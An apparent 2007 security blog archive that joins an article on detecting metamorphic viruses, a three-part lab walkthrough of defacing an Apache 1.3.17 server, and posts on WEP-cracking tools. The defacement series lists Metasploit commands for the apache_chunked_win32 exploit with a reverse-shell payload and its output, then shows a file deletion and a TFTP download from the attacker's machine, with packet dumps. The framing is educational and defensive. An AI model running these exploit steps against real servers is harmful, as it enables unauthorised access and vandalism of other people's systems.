One of these morphing techniques used by metamorphic viruses is with the insertion and removal of "garbage" instructions. These are instructions that have no effect on the function of the virus, but simply take up space and which can make analysis more difficult when they appear in large quantities. Another technique is to change the basic encoding of instructions at the opcode level. That is, switching between two different opcodes that are functionally-equivalent.

Perhaps the most complex transformation of a metamorphic virus is the replacement of entire blocks of logic with functionally-equivalent blocks of logic. Consider the task of multiplying x by 3. One expression of this is "3*x". However, an alternative expression is to replace the single multiplication with a repeated addition instead: "x+x+x". Both expressions will result in the same answer, yet they look very different.

An entry-point obscuring ("EPO") virus is a virus that gets control from the host program in an indirect way, rather than straightforwardly through the main entry-point. Typically, it involves patching a variable location in the host program code, perhaps a function prologue or an API call sequence, and redirecting control flow to the virus code from there.

An inherently difficult virus could be a polymorphic Win32 virus whose appearance varies greatly between samples. Regardless of what technology is available to detect the virus, the first hurdle is to analyze and understand the way the virus works, and invent an algorithm capable of detecting all virus replicants. This can be a daunting task, even assuming the ability to write the detection as a standalone program in a language of one's choice.
Determining the threat
Complex viruses do not represent a real threat until they are discovered outside of a laboratory and "in the wild". Herein lies the problem: the difficulty is in defining what it means for a virus to be "in the wild".

The industry definition of a virus "in the wild" is typically a virus that has been seen by at least two independent submitters in at least two different regions. However, this definition overlooks the existence of localized outbreaks, in which one or more companies in a single region might be heavily infected. In that case, a virus might be considered "in the wild" based solely on the number of submissions, but this can be misleading if people submit the same virus sample repeatedly. This also overlooks the case of virus "seeding", in which a virus is placed in a public location, such as the Usenet newsgroups, in the hope that enough people will be tempted to run it -- but no one actually does.

The fact remains that many of the most complex viruses are not especially widespread. If a sample of this virus has not been submitted by a "sufficient" number of outsiders, in a short period of time, it may be considered a "zoo" virus with minimal widespread threat. However, it's important to remember that this level of threat can change at any time.
Examples of "zoo" viruses
Examples of infamous "zoo" viruses include the complex Win32 viruses known as W95/SK (PDF document), W95/Zmist (PDF document), W32/Simile (PDF document), W32/Efish (PDF document) (from the W32/Chiton family), and W95/Perenast. Just mention any of these names to an AV researcher and watch their terror-stricken face. W32/Gobi (PDF document) and W32/Zelly are two of the most recent such brain-teasers. Both are very polymorphic, employing multiple encryption layers and entry-point obscuring.

These examples are all worth a few days (and nights) of work at the least, taking into account reverse-engineering, replicating the virus, and writing the detection signature. It can help a researcher to start writing the detection as a standalone C program before integrating it into one's AV product.
Limitations in AV engine technology
Unfortunately AV researchers do not have the luxury to write standalone programs from scratch to respond to new viruses. Instead they are constrained by a framework imposed by an AV product. The framework may be more or less flexible, and usually comes with a set of constraints that largely determine how efficient a response will be possible.

A comparatively simple virus affecting an emerging platform (say, Win64) may expose AV engine limitations that make it just as hard to detect as a tough Win32 polymorphic virus, in a subjective way -- depending on what AV engine technology is available to respond. Maybe the affected file format is not parsed by the engine, or only incompletely supported. Emulation may or may not be available. These factors greatly influence the ability to detect the virus.

Some of the new viruses that affected the Win64 platform in 2004, and were relatively difficult to detect, included W64/Rugrat (PDF document) (IA64), W64/Shruggle (AMD64), plus some new viruses with MSIL infectors. The corresponding executable file formats are varied, and even the job of picking a simple search string for an immutable virus can turn into a contortionist's exercise if the underlying AV engine lacks support for these file formats.

Naturally, there is the fear of an inherently difficult virus affecting an esoteric or emerging platform like Win64. Such viruses do occasionally surface in zoo collections, to the delight of no one except a virus researcher. Two examples of these new viruses, both released in early 2004, are MSIL/Impanate (PDF) and MSIL/Gastropod (PDF document) - viruses for the Microsoft .NET framework. The first of these, MSIL/Impanate, is an EPO virus. It appends its code to a random method in the file, and rebuilds the host around it. The second of these, MSIL/Gastropod, is a metamorphic virus. Its appearance is altered by the virus intentionally adding and removing "garbage" instructions.
The importance of detecting complex viruses
You may rightfully ask: why does it matter to detect such viruses, if they belong to "zoo" collections? Well, first of all, sometimes they do find their way into the wild. W32/Toal, for instance, a difficult polymorphic worm, was discussed on an emergency virus mailing list after being spotted actively spreading. Some complex viruses currently registered as zoo samples spread aggressively enough that they would stand a chance to infect machines in the real world if some mischievous soul were to release them.

Moreover, even for purely zoo viruses unlikely to ever cause problems in the wild, the response (or lack thereof) of AV companies to such viruses can reveal a lot about limitations in the engine technology available, and perhaps the skill and dedication of the response teams. Some companies provide detection quickly, in a matter of hours or days, while some others finally ship a solution after months of work (or years in some extreme cases, like W95/Zmist!), and yet other companies simply give up.

Besides the speed of response, the quality of detections also varies greatly, as measured by the ability to detect all samples of a polymorphic virus for instance, and doing so with an acceptable false-positive rate. What is an acceptable false-positive rate? While this varies from company to company, usually no more than a handful of false positives would be considered acceptable -- however, there are exceptions to this. One recent example, W32/Zelly, was allowed an enormous (up to 50%) false-negative rate by some anti-virus companies just to be among the first to detect it.

What if your AV company gives up on difficult zoo viruses? It certainly says something about either the flexibility of their technology, or the skill and dedication of their response team. What if tomorrow's Mydoom is heavily polymorphic? Will they be able to respond to it in a timely manner?

If you think it's an unlikely scenario, compare it to the following analogy: if you had to pick a surgeon, would you choose the one who carried out hundreds of successful open-heart surgeries, or the one who only ever did appendectomies? Even for an appendectomy, most would choose the first one.
Conclusion
In this article we've looked as some of the difficulties in detecting complex viruses, by first discussing what they are and why they can be difficult to discover. We then looked at a few examples of "zoo" viruses and how they can uncover limitations in various AV engines. As we have seen, finding complex viruses can be another useful metric in determining which anti-virus technology is best suited to the needs of an organization -- in addition to other common metric such as response time to new threats, and how effective the pro-active detection offered really is.

Web Server Defacements (Part 3)

2007-10-24T14:09:00.000-07:00

We shall now actually deface the web server’s web page, and pull off the hack as it were. Furthermore we will peek under the hood, and look at the packets to see just what transpired so that you might recognize it in the future.

In part two of this article series we left off after we had gained system level access to the web server via a reverse command shell. It is now time to actually get down, and dirty. From here on in is where we will learn just how one could deface a web page. Please bear in mind that this article series chronicles exactly how it could be done. The whole point of this exercise though is to educate people to the dangers of the online world. I did not intend this to be a “paint by numbers” hacking demo. Should you choose to use this article series to actually deface a web server other then the one in your computer laboratory then you are committing a criminal act, and if caught would be dealt with accordingly. In other words play in a lab environment only!
Lets do this thing!

Alright we are now in control of the remote web server. Let’s take a look around shall we? To that end I will do a “dir” to see what is in the directory, as seen below.

C:\Program Files\Apache Group\Apache>dir

dir
Volume in drive C has no label.
Volume Serial Number is C8E5-633B

Directory of C:\Program Files\Apache Group\Apache

Hmmmmm, well I would say we would probably as “web page defacers” want a look inside the htdocs directory for the index.html file. So I “cd” to that directory and do a “dir”.

C:\Program Files\Apache Group\Apache\htdocs>dir

dir
Volume in drive C has no label.
Volume Serial Number is C8E5-633B

Directory of C:\Program Files\Apache Group\Apache\htdocs

So there indeed is our prey. What we would need to do now is delete that file, and once done insert our own index.html into its place. How to do that though? Well a favourite way to transfer stuff back, and forth that is used by hackers is to do so via TFTP. Our attacker would need a TFTP server running on their computer, and would then use the built in TFTP client on the victim's own computer to initiate the transfer.

Let us recap for a minute now. We have gained access to a shell on the web server via the apache_chunked exploit. This was done via the Metasploit Framework. Our goal is to simulate how someone who wants to deface would do it. So far we are right on track. Since gaining access to the web server we did a quick directory listing which verified that our htdocs directory was there, and that the index.html file was also there. That last file is the one we want to modify with our defacement message. From here on in we will use the aforementioned TFTP protocol to obtain our index.html file, and then return it to the web server. So let’s do it!
Action!

All of the below noted information is shown at the packet level. This is done for a very good reason. I would like you the reader to be able to recognize what this attack looks like at the packet level. After all if you are investigating firewall, or intrusion detection logs you will always end up having to look at the actual packets themselves!

Seen below is the attacking machine deleting the existing index.html file on the web server. This had to be done with the “del /F” command, as this file was being used. The attacker had to delete the index.html file as they wanted to insert their own via TFTP.

11:02:39.079422 IP (tos 0x0, ttl 64, id 50860, offset 0, flags [DF], length: 58) 192.168.1.102.4321 > 192.168.1.101.1028: P [tcp sum ok] 51364367:51364385(18) ack 813323178 win 10720
0x0000: 4500 003a c6ac 4000 4006 eff5 c0a8 0166 E..:..@.@......f
0x0010: c0a8 0165 10e1 0404 030f c20f 307a 53aa ...e........0zS.
0x0020: 5018 29e0 a0a4 0000 6465 6c20 2f46 2069 P.).....del./F.i
0x0030: 6e64 6578 2e68 746d 6c0a ndex.html.

From the packets seen below we can verify that the attacking machine of 192.168.1.102 issued the tftp command to the compromised web server;

tftp –i 192.168.1.102 GET index.html

The second packet shows the compromised web server issuing this tftp request to the attackers tftp server. Remember our attacker has a reverse command shell which is why I am showing both packets as evidenced below.

11:02:48.698588 IP (tos 0x0, ttl 64, id 50878, offset 0, flags [DF], length: 77) 192.168.1.102.4321 > 192.168.1.101.1028: P [tcp sum ok] 51364389:51364426(37) ack 813323812 win 10720
0x0000: 4500 004d c6be 4000 4006 efd0 c0a8 0166 E..M..@.@......f
0x0010: c0a8 0165 10e1 0404 030f c225 307a 5624 ...e.......%0zV$
0x0020: 5018 29e0 0c3c 0000 7466 7470 202d 6920 P.)..<..tftp.-i.
0x0030: 3139 322e 3136 382e 312e 3130 3220 4745 192.168.1.102.GE
0x0040: 5420 696e 6465 782e 6874 6d6c 0a T.index.html.

11:02:48.699161 IP (tos 0x0, ttl 128, id 117, offset 0, flags [DF], length: 77) 192.168.1.101.1028 > 192.168.1.102.4321: P [tcp sum ok] 813323812:813323849(37) ack 51364426 win 17443
0x0000: 4500 004d 0075 4000 8006 761a c0a8 0165 E..M.u@...v....e
0x0010: c0a8 0166 0404 10e1 307a 5624 030f c24a ...f....0zV$...J
0x0020: 5018 4423 f1d3 0000 7466 7470 202d 6920 P.D#....tftp.-i.
0x0030: 3139 322e 3136 382e 312e 3130 3220 4745 192.168.1.102.GE
0x0040: 5420 696e 6465 782e 6874 6d6c 0a T.index.html.

A couple of packets have been left out here as they just confirm the requested tftp transfer. Please see the below noted transfer of the modified web page onto the compromised web server.

11:02:48.834306 IP (tos 0x0, ttl 64, id 26457, offset 0, flags [DF], length: 544) 192.168.1.102.1024 > 192.168.1.101.1030: [udp sum ok] UDP, length: 516
0x0000: 4500 0220 6759 4000 4011 4d58 c0a8 0166 E...gY@.@.MX...f
0x0010: c0a8 0165 0400 0406 020c 3502 0003 0001 ...e......5.....
0x0020: 3c21 444f 4354 5950 4520 6874 6d6c 2050
0x0030: 5542 4c49 4320 222d 2f2f 5733 432f 2f44
0x0040: 5444 2048 544d 4c20 342e 3031 2054 7261
0x0050: 6e73 6974 696f 6e61 6c2f 2f45 4e22 3e0a
0x0060: 3c68 746d 6c3e 0a3c 6865 6164 3e0a 2020
0x0070: 3c74 6974 6c65 3e69 6e64 6578 2e68 746d
0x0080: 6c32 3c2f 7469 746c 653e 0a3c 2f68 6561
0x0090: 643e 0a3c 626f 6479 3e0a 3c68 323e 3c62
0x00a0: 723e 0a3c 2f68 323e 0a3c 6831 3e3c 6272
0x00b0: 3e0a 3c2f 6831 3e0a 3c68 313e 3c62 723e
0x00c0: 0a3c 2f68 313e 0a3c 6831 3e59 6f75 2068
0x00d0: 6176 6520 6a75 7374 2062 6565 6e20 6f77
0x00e0: 6e65 6420 6279 2061 6c74 2e64 6f6e 3c2f
0x00f0: 6831 3e0a 266e 6273 703b 266e 6273 703b
0x0100: 266e 6273 703b 2041 206c 6f63 616c 6c79
0x0110: 206f 776e 6564 2061 6e64 206f 7065 7261
0x0120: 7465 6420 4361 6e61 6469 616e 2073 7562

Now please note the below seen packet signifying the successful transfer of the page index.html

11:02:48.847478 IP (tos 0x0, ttl 128, id 121, offset 0, flags [DF], length: 98) 192.168.1.101.1028 > 192.168.1.102.4321: P [tcp sum ok] 813323849:813323907(58) ack 51364426 win 17443
0x0000: 4500 0062 0079 4000 8006 7601 c0a8 0165 E..b.y@...v....e
0x0010: c0a8 0166 0404 10e1 307a 5649 030f c24a ...f....0zVI...J
0x0020: 5018 4423 fa01 0000 5472 616e 7366 6572 P.D#....Transfer
0x0030: 2073 7563 6365 7373 6675 6c3a 2036 3736 .successful:.676
0x0040: 2062 7974 6573 2069 6e20 3120 7365 636f .bytes.in.1.seco
0x0050: 6e64 2c20 3637 3620 6279 7465 732f 730d nd,.676.bytes/s.
0x0060: 0d0a ..

Well the web page defacement has now occurred, and hopefully that is all that the person has done. The attacker could just as easily have installed all kinds of nastiness as well though. For example; a rootkit, an ftp server, or other undesirable content. In reality if your web server is defaced you must do a format of your hard drive as there could be anything on it. To do anything less is inviting disaster. Simply replacing the defaced web page is not enough.
Oh yeah!

I almost forgot! What does the defaced web page look like? Well dear reader if you have been studying the packet above you already know, but take a look at the below noted screen capture of the defaced web server.

So as you can see defacing a web server is relatively simple to do. What is not simple to do however is actually discover a vulnerability in a program such as Apache. Moreover, then coding a way to exploit it. The people that do this type of research, and work are the true talents out there. Lastly let’s not forget people like HDM, and spoonm who have given their time to develop the Metasploit Framework so that we can all learn more. I sincerely hope this article series was of use to you. Should you have any questions over it please feel free to contact me.

Web Server Defacements (Part 2)

2007-10-24T14:08:00.000-07:00

I will quickly recap from where Part One of this article series left off. Quickly detailed in part one was how a web server can be defaced, and introduced was the tool that we will use to do such a defacement ourselves. Before we proceed further I would like to point out once again that recreating exploits, or in this case web server defacements is a legitimate exercise in computer security. One must however do so in a computer laboratory environment, as detailed in part one. It is not enough to only know how something works you must ideally be able to make it work yourself. On that note let us carry on with our usage of the tool Metasploit to further our understanding of web server defacements.

From theory to reality

Now from here on in we are continuing with the tool Metasploit, and how it is used. It is with this tool that we will gain system level access to the Apache web server. Obtaining a reverse shell is what will allow us to upload our modified index.html file, which is the default page served up by a web server ie: your company log for example.

The below noted shows what the command “show exploits” will give you when entered at the msf prompt within Metasploit. A list of the available exploits comes up.

msf > show exploits

Metasploit Framework Loaded Exploits
====================================

Credits	Metasploit Framework Credits

afp_loginext	AppleFileServer LoginExt PathName Buffer Overflow
apache_chunked_win32	Apache Win32 Chunked Encoding
blackice_pam_icq	ISS PAM.dll ICQ Parser Buffer Overflow
distcc_exec	DistCC Daemon Command Execution
exchange2000_xexch50	Exchange 2000 MS03-46 Heap Overflow
frontpage_fp30reg_chunked	Frontpage fp30reg.dll Chunked Encoding
ia_webmail	IA WebMail 3.x Buffer Overflow
iis50_nsiislog_post	IIS 5.0 nsiislog.dll POST Overflow
iis50_printer_overflow	IIS 5.0 Printer Buffer Overflow
iis50_webdav_ntdll	IIS 5.0 WebDAV ntdll.dll Overflow

So we can see several of the exploits available within the framework are listed. I truncated the list, but when you enter the same command as I did you will get the full listing. The one we are going to use is the second from the top: apache_chunked_win32

Now I will enter the command to pick the exploit we are going to use as seen below.

msf > use apache_chunked_win32
msf apache_chunked_win32 >

As seen above we have our prompt back and it is showing we are using the exploit that we chose: apache_chunked_win32. From here we now will put in the below noted command to check for various options associated with this exploit under the framework.

msf apache_chunked_win32 > show options

Exploit Options
===============

Exploit:	Name	Default	Description
--------	------	-------	------------------
optional	SSL		Use SSL
required	RHOST		The target address
required	RPORT	80	The target port

Target: Windows NT/2K Brute Force

msf apache_chunked_win32 >

We now have our prompt back again, and the list of options we need to fill in such as the remote hosts IP address. Please note that you will also need to enter the local hosts IP address as well ie: your attacking machines address in your lab setup. You need to enter the commands to set these options as noted below;

msf apache_chunked_win32 > set RHOST 192.168.1.101
RHOST -> 192.168.1.101
msf apache_chunked_win32 >

We will set the LHOST option a little later on in this article.

Would you look at those exploit options!

We have now set that field, and have our prompt waiting for us once again. From here we will go onto other various options we need to set before using this exploit to gain system level access on the web server. In our case we will now use the following command to see what payloads we can use.

msf apache_chunked_win32 > show payloads

Metasploit Framework Usable Payloads
====================================

win32_bind	Windows Bind Shell
win32_bind_dllinject	Windows Bind DLL Inject
win32_bind_stg	Windows Staged Bind Shell
win32_bind_stg_upexec	Windows Staged Bind Upload/Execute
win32_bind_vncinject	Windows Bind VNC Server DLL Inject
win32_reverse	Windows Reverse Shell
win32_reverse_dllinject	Windows Reverse DLL Inject
win32_reverse_stg	Windows Staged Reverse Shell
win32_reverse_stg_ie	Windows Reverse InlineEgg Stager
win32_reverse_stg_upexec	Windows Staged Reverse Upload/Execute
win32_reverse_vncinject	Windows Reverse VNC Server DLL Inject

msf apache_chunked_win32 >

Whoa! Quite a nice selection to play with isn’t it? This really is part of the beauty that is the Metasploit Framework. It will allow you to use whatever “egg” you choose. By “egg” I mean whatever payload that you will have executed by the victim’s CPU once you have exploited the vulnerability that you are targeting. Having this wide choice is one of the great uses of this security tool.

From what we can see above there is a plethora of options available to us. In our case we will use the win32_reverse payload. Why? Well we want a shell that we can use to ferry stuff back and forth with. To be precise we want to copy the index.html file, and make some adjustments to it ie: deface it. Having a shell will allow us to do just that. Well on that note we need to tell the Framework that we want that payload option. Please see below for the syntax.

msf apache_chunked_win32 > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf apache_chunked_win32(win32_reverse) >

So we now have set that payload and have our prompt back. What to do next? Ah yes! We need to set an IP address to receive the reverse shell. Remember a few steps ago we set the RHOST to specify the machine to attack? Well we also need to do the same thing to set the receiving host. Please see below.

msf apache_chunked_win32(win32_reverse) > set LHOST 192.168.1.102
LHOST -> 192.168.1.102
msf apache_chunked_win32(win32_reverse) >

We are now ready to actually launch the exploit. The syntax for doing so is seen below.

msf apache_chunked_win32(win32_reverse) > exploit 192.168.1.101
[*] Starting Reverse Handler.
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 348...
[*] Trying to exploit Windows NT using return 0x1c0f1022 with padding of 348...
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 352...
[*] Trying to exploit Windows NT using return 0x1c0f1022 with padding of 352...
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 356...
[*] Trying to exploit Windows NT using return 0x1c0f1022 with padding of 356...
[*] Trying to exploit Windows 2000 using return 0x1c0f143c with padding of 360...
[*] Got connection from 192.168.1.101:1031

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\Program Files\Apache Group\Apache>

So we can see above that we now have a command prompt in the Apache directory itself. There was one other option we could of used in this case; that being the “target” option to specify the operating system in use. Even if not specified it will try all the ones it can do. To use the target option please do the following;

msf apache_chunked_win32(win32_reverse) > show targets

The list of targets will then come up. All you need to do is pick the one you want, and set it as we did above;

msf apache_chunked_win32(win32_reverse) > set TARGET 1

That will enter the target of 1 which if memory serves is W2K Pro.

Well so far we have accomplished a fair amount of work. The Apache web server has now been compromised by us, and we have our reverse shell as seen above. With this reverse shell and system level access the machine is completely ours to play with and manipulate. So, on that note we will end part two of this article series and continue on in the final part. It is in part three that we will actually do the web page defacement, and look under the hood at the attack as well. See you then!

Web Server Defacements (Part 1)

2007-10-24T14:07:00.000-07:00

The urban art of grafitti has traversed to the online world in the form of web server defacements. Just how do these online vandals do it though? Read on to learn how it is done, and therefore gain a deeper understanding which will help you defend against it.

There was a large commotion last year over the web server defacement contest, which was to be held by various online miscreants. The act of defacing a company’s web site is one that has been going on for some time now. In reality this has been practiced largely by the bottom feeders of the internet community. To actually go out, and place your own index.html file into a compromised web server does not take a great deal of talent I assure you. Where the talent lies is with the coder who discovered a web server exploit, and coded a way of leveraging it in the first place. Once this exploit developer has publicly released the code is when the script kiddies step in. What the script kiddies lack in talent they make up for in numbers.

These types of attacks are relatively commonplace today. Personally speaking I work in the network security industry, and have heard many of my peers write off these attacks as “script kiddie” stuff. While I would agree with them on that statement the problem is that these very same peers of mine don’t know how to do a web page defacement themselves.

To defend you must learn to attack

This brings me to another favorite whipping horse of mine. If you are going to defend your computer networks from various attacks it then behooves you to learn how they are attacked in the first place! Not all of my peers agree with this assessment, but I most certainly do. It is hard to grasp something if you yourself have not done it is my opinion. In this specific case it would help to understand just exactly how does one deface a web page. I say this because if you were studying the packets logged by your intrusion detection system it would be helpful to recognize the packets you are looking at as being someone uploading a new index.html page would it not? Otherwise you might just write it off as someone requesting a web page.

If one were to do this act of electronic vandalism then there are certain conditions, which must be met. What do I mean by that? Well simply put you need to have a way of compromising that web server, whether it be IIS or Apache. Having a firewall in place is not going to be much help in this case for the company is offering the web server, as a service for their clients, and potential clients to view. For these clients to do so the port must be open in the firewall thereby allowing them access to the web server. You could have an application layer firewall in place to help protect this service, but that is another issue entirely.

Let's set the stage

Well we now know that for an exploit to work certain criteria must be met. Call it a series of if’s if you like. If the service is vulnerable, and if it is exposed to the web, and if….. Well you get the picture. What we shall do is actually go through all of the steps necessary to compromise a web server, and then upload our own version of the index.html page. To that end let me list what we shall be using operating system wise as well as what type of web server.

I performed this defacement in my home lab using two laptops. One of them had SuSE Linux installed on it, and the other laptop had Windows 2000 Professional on it. On the W2K laptop I had also installed the open source Apache web server specifically version 1.3.17. There are vulnerable versions following the release of 1.3.17 but we will be using this one for our recreation purposes. Why am I using this specific version of Apache you may be asking right now. Good question! I would refer you back to my earlier assertion that to exploit something there is always a set of criteria to fulfill. In this case this version of Apache for Windows was vulnerable to the apache chunked encoding vulnerability.

Details, details, details…

This is all fine and lovely but just where do you get the exploit code yourself then? Not only that, but how do you know that there are no “added value” features in this exploit code? Well to simplify our life I used the Metasploit Framework. This framework was put together by HDM and spoonm, and not only that it was released freely for the public to use. The advantage in using this tool is that you can safely use all the accompanying exploits without fear of any backdoors. Lastly the framework can be used in either Linux or a win32 environment. Pick your poison as it were. In my case I ran it under Linux seen as this is where I have my tftp server running, which will be used during the course of this endeavor.

Well our list of requirements to perform our own web page defacement is filling out nicely.

Metasploit Framework to actually launch the exploit
Windows 2000 Professional with Apache 1.3.17 installed on it
Two laptops connected via a switch

Bring on Metasploit!

To wrap up part one of this article series we will have a brief look at Metasploit itself. I will in part two walk you through step by step on how to use it, but will show some of it below to give you a sneak peek. What I won’t be covering is the actual installation of it as it is really rather straightforward. Please bear in mind once again that I have used it within Linux.

The below noted shows all the directories and files created once the Framework has been uncompressed.

don@linux:~/framework-2.2> dir
total 107
drwxr-xr-x 2 500 10000 112 2004-08-07 17:50 data
drwxr-xr-x 2 500 10000 744 2004-08-07 17:50 docs
drwxr-xr-x 2 500 10000 280 2004-08-07 17:50 encoders
drwxr-xr-x 2 500 10000 1288 2004-08-07 17:50 exploits
drwxr-xr-x 2 500 10000 144 2004-08-07 17:50 extras
drwxr-xr-x 6 500 10000 208 2004-08-07 17:50 lib
-rwxr-xr-x 1 500 10000 4687 2004-07-29 23:41 msfcli
-rwxr-xr-x 1 500 10000 22975 2004-07-29 23:41 msfconsole
-rwxr-xr-x 1 500 10000 5744 2004-07-05 06:52 msfdldebug
-rwxr-xr-x 1 500 10000 5639 2004-07-29 23:41 msfencode
-rwxr-xr-x 1 500 10000 1538 2004-08-07 17:58 msflogdump
-rwxr-xr-x 1 500 10000 2104 2004-07-29 23:41 msfpayload
-rwxr-xr-x 1 500 10000 9361 2004-07-27 03:38 msfpayload.cgi
-rwxr-xr-x 1 500 10000 6952 2004-07-29 23:41 msfpescan
-rwxr-xr-x 1 500 10000 12096 2004-08-08 04:37 msfupdate
-rwxr-xr-x 1 500 10000 16116 2004-08-07 18:31 msfweb
drwxr-xr-x 2 500 10000 120 2004-08-07 18:17 nops
drwxr-xr-x 3 500 10000 1664 2004-08-07 17:50 payloads
drwxr-xr-x 3 500 10000 168 2004-08-07 17:50 sdk
drwxr-xr-x 3 500 10000 80 2004-08-07 17:50 src
drwxr-xr-x 2 500 10000 216 2004-06-07 04:21 tools
don@linux:~/framework-2.2>

The below noted shows how to invoke the Framework and specifically the msfconsole

don@linux:~/framework-2.2> ./msfconsole

__. .__. .__. __.
_____ _____/ |______ ____________ | | ____ |__|/ |_
/ \_/ __ \ __\__ \ / ___/\____ \| | / _ \| \ __\
| Y Y \ ___/| | / __ \_\___ \ | |_> > |_( <_> ) || |
|__|_| /\___ >__| (____ /____ >| __/|____/\____/|__||__|
\/ \/ v2.2 \/ \/ |__|

+ -- --=[ msfconsole v2.2 [30 exploits - 33 payloads]

Now we can see from the above that the Metasploit Framework actually has 30 exploits and 33 payloads available. Very impressive I must say, and not only that it is free to use unlike some other similar commercial offerings. With this teaser in hand we will break here and resume in part two with further Metasploit usage to achieve our goals; furthering our knowledge computer security. See you soon!

The Lack of WiFi security (Part 2)

2007-10-24T14:04:00.000-07:00

Tools that collect packets and then break the WEP keys.

If you missed the first part in this series please read The Lack of WiFi security (Part 1).

In part one of this article series on wifi security we took a look at some tools that will help you discover WAP points in your immediate vicinity. What we shall do in this part is look at tools that will actually collect packets and then break the WEP keys.
WiFi security or lack thereof Part II

In the first part of this article series we looked at some of the tools that exist today which will allow you to discover wireless access points (WAP). Wireless networks have become very popular over the past few years for not only business, but also the home market. In all likelihood your neighbors are probably running a wireless router for their home computer network even though it is not using a wireless card. People are often talked into getting wireless routers, even though they don’t need them, by salespeople at electronics stores. These very same people are sadly the ones who are also running an unprotected WAP.

Having a WAP is not in and of itself inherently insecure, but you do need to take measures to properly harden it. That includes having encryption enabled, and making sure that you have the latest firmware available as well. Some other common sense measures should also be implemented as well. For one there is no need to broadcast your SSID. You already know what it is so why make a potential hackers job that much easier.

Figure 1

Another simple measure to take is to enable MAC filtering on your WiFi network. What this does is restrict access to your WAP by virtue of specifying a list of MAC addresses that have permission. All other computers or laptops whose MAC addresses are not on that list will be refused permission. This security measure can be bypassed by an attacker changing their MAC address, however every layer of security helps. Remember “defense in depth”.

Figure 2

On with the show

Well as noted above, I hope your WAP is properly secured. On that note we will now look at some tools which will allow an attacker to compromise that very same WAP. First up on the list is Airsnort. You may recall that I touched on it very briefly in part one of this series. Well we shall now take a look at it. Airsnort will run on either win32 or *nix as mentioned on its homepage. It will take you a bit of extra effort to run it on Windows but rest assured it is entirely possible to do so.

Figure 3

Using Airsnort is fairly simple as seen from the above screenshot. You will need to ensure that you are using a supported wifi card for one. Once done you simply ensure that Airsnort is working off of the proper network device and is using the right driver type as well. Once that is done, and any other minor tweaks you may want to make, you are ready to start it. You will note the values for “crack breadth” on the upper right hand side of Airsnort. I would advise you to leave this to their defaults unless you read up on what they mean and how it will impact cracking WEP.

Airsnort does have one limitation, and that is it requires a large amount of packets to be collected from the WAP in question. I don’t mean either a couple of hundred but rather a couple of hundred thousand or several million. Well as you may have guessed there are not too many WAP’s out there that will generate that type of traffic quickly. So you can imagine that cracking WEP could be a time consuming affair. Well there are tools that have come out since Airsnort was first written which will dramatically reduce the time it takes to crack 64 bit WEP.

WEP crackers

There are several tools that will take wifi packet captures as their input and then work on cracking the key for you. One of the first ones to be aware of is WepAttack and please bear in mind that this is a linux based tool. Though the operating system of choice for many is Windows, it also should be remembered that not all tools written to attack Windows or other devices that are native to win32. You should try to gain at least a rudimentary knowledge of other operating systems and the tools available to them. WepAttack, as seen on its homepage, is a command line utility which accepts .pcap data. You would use a tool such as the earlier discussed Kismet to capture wireless frames and then use WepAttack afterwards to crack the WEP key. It is a pretty simple tool to use.

WEPCrack is another tool to use for cracking WEP keys via a .pcap file for input. The tool is also written in PERL so that means you can use it on your win32 box so long as you have a PERL interpreter installed. Should you not have an interpreter installed then simply go here and get one. WepLab is the last tool that we shall look at in this article. This tool is available for either win32, linux, BSD and Mac. So pick your poison as it were. Once again this tool will work like WEPCrack in that it will accept .pcap data as its input and then try to crack the WEP key.

Wrapup

Well so far we have seen that there is a fairly wide variety of tools out there which will help you crack WEP keys, be they 64 or 128 bit in length. While some of the older tools such as Airsnort do work quite well, they do require a fair amount of data before becoming effective. Since Airsnort was released new attacks have been formulated. No longer do you really need to sit outside an office space, as it were, to collect a myriad of encrypted data.

Such simple things as stimulating the WAP by sending data to it in order to increase packet transmission will help to cut down the time it takes to crack the WEP key. For that type of scenario you would need two separate laptops. One would be used to actively attack the WAP itself while the other one served as a collection point in order to harvest the packets at a much higher rate than the WAP would normally transmit at.

We also saw that once the WEP key has been recovered, it is rather simple to use it to then associate yourself to that WAP. If the WAP has MAC filtering enabled then your task will be a tad more difficult, but far from impossible. Using a tool such as SMAC will allow you to change your MAC address quite easily. Just as I mentioned above in this article, enabling MAC filtering is by no means a definitive block. It will simply slow someone down if they are a determined attacker.

What you will hopefully try to now do is use some of these tools in your home lab to actually break 64 and 128 bit WEP. It is only by doing something that you will truly understand it. Much like “doubting Thomas”, seeing is believing. On that note I will end the article series, and hopefully this series has shown you just how weak 64 and 128 bit WEP is. As always I welcome your feedback. Till next time!

The Lack of WiFi Security (Part 1)

2007-10-24T14:03:00.000-07:00

This article discusses how effective various encryption schemes are and some of the tools used to discover WAP's.

If you would like to read the next part in this artice series please go to The Lack of WiFi Security (Part 2).

Hopefully by now everyone has heard that WiFi (wireless) is subject to a series of attacks that will lead to its compromise. How effective are the various encryption schemes though? What are some of the tools used? Read on to find out.
WiFi security or lack thereof

I think we all agree that having the option of wireless connectivity is great. It certainly helps to have it in a corporate setting as well. The freedom to roam about the office with your laptop helps worker efficiency, and is simply nice to have at home as well. No longer are we constrained by cables and such. Heck, I remember having a 100 foot length of CAT-5 in my home that I used to connect my laptop to my router. That was a pain in the butt believe me.

Well with this new found freedom have come certain risks. For everytime you introduce new technologies you can rest assured that exploits for it are soon to follow. So with this in mind it was no great surprise that 64 bit WEP was quickly found to be lacking in terms of its implementation. So the vendors upped the ante and came out with 128 bit WEP, and this in turn was also found to be lacking. It kind of makes you think of the old arms race doesn’t it? For every new weapon that comes out, there is quickly a counter-measure for it.

WiFi hacking has been around for some time now, and oddly enough has really received little press. Since 2001, 64 bit WEP has been breakable. That was also around the time that well known tools such as Airsnort gave the ability to break into wireless networks to the masses. This tool is only half of the equation though for you still require something to let you know if there are any wireless access points around you. We shall now go on to look at various tools which will allow you to do some WEP cracking. Some of the tools shown are Linux based, but some have since been ported to Win32. On that note let’s get to the business of profiling some of the tools used to pull off a WiFi hack.

What tools do you use to crack WEP?

